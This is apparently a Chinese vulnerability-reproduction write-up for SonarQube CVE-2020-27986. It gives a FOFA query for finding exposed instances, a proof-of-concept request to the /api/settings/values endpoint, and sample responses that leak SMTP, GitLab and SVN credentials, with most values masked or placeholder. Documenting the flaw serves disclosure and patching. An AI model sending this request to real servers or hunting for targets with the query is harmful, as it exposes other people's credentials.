

SonarQube api 信息泄露漏洞 CVE-2020-27986

[漏洞描述](#)

[漏洞影响](#)

[FOFA](#)

[漏洞复现](#)

漏洞描述

SonarQube 某接口存在信息泄露漏洞，可以获取部分敏感信息

漏洞影响

```
1 SonarQube
```

FOFA

```
1 app="sonarQube-代码管理"
```

漏洞复现

主页如下

质量标准

登录 阅读文档

1

已分析的项目

52

Bugs

88

漏洞

3.3K

异味

多语言

SonarQube已支持20+ 种编程语言, 感谢我们的内部代码分析器, 包含:

Java

C/C++

C#

COBOL

ABAP

HTML

RPG

JavaScript

TypeScript

Objective C

XML

VB.NET

PL/SQL

T-SQL

Flex

Python

Groovy

PHP

Swift

Visual Basic

PL/I

SonarQube质量模型

Bugs Bug是出现了明显错误或是高度近似期望之外行为的代码。

漏洞 漏洞是指代码中可能出现被黑客利用的潜在风险点。

异味 代码异味会困扰代码的维护者并降低他们的开发效率。主要的衡量标准是修复它们所需的时间。

编写整洁代码

修复代码缺陷

把出现在代码里的新问题都解决掉, 就可以创建并维护一个干净的代码基础。即使是遗留项目, 保持新代码的整洁, 也能最终获得一个值得骄傲的代码基础。

缺陷图例和默认质量阈都是基于新代码周期的 - 当前周期就是处理问题的时间。主要的关注点是上一个版本, 通常会选择30天作为一个周期。

更多细节

更多细节

漏洞POC

1 http://xxx.xxx.xxx.xxx/api/settings/values

```
625     "key": "sonar.findbugs.timeout",
626     "value": "600000",
627     "inherited": true
628   },
629   {
630     "key": "sonar.core.id",
631     "value": "4F124685-4444-4444-4444-dJPMzT5V"
632   },
633   {
634     "key": "email.smtp_host.secured",
635     "value": "smtpdm-af-44444444.com"
636   },
637   {
638     "key": "email.smtp_username.secured",
639     "value": "mtrc@44444444.hk.com"
640   },
641   {
642     "key": "email.smtp_password.secured",
643     "value": "A1444444HK2019"
644   },
645   {
646     "key": "sonar.core.startTime",
647     "value": "2019-08-14T13:28:42+0000"
648   }
649 ]
650 }
```

可泄露的为：明文SMTP、SVN和Gitlab等敏感信息

```
83:
  key: "sonar.updatecenter.url"
  value: "https://update.sonarsource.org/update-center.properties"
  inherited: true
84:
  key: "sonar.core.id"
  value: "32FA0856-AXRx4uyUe_xmLIB0kFu"
85:
  key: "sonar.core.startTime"
  value: "2020-10-15T07:15:37+0000"
86:
  key: "sonar.auth.gitlab.applicationId"
  value: "id_prueba_gitlab"
87:
  key: "sonar.auth.gitlab.secret"
  value: "password_test_gitlab"
88:
  key: "sonar.svn.username"
  value: "SVN_username_test"
89:
  key: "sonar.svn.password.secured"
  value: "SVN_password_test"
90:
  key: "email.smtp.host.secured"
  value: "smtp.csl.com.co"
91:
  key: "email.smtp.password.secured"
  value: "SMTP_password_test"
92:
  key: "email.smtp.username.secured"
  value: "csl_smtp_user"
```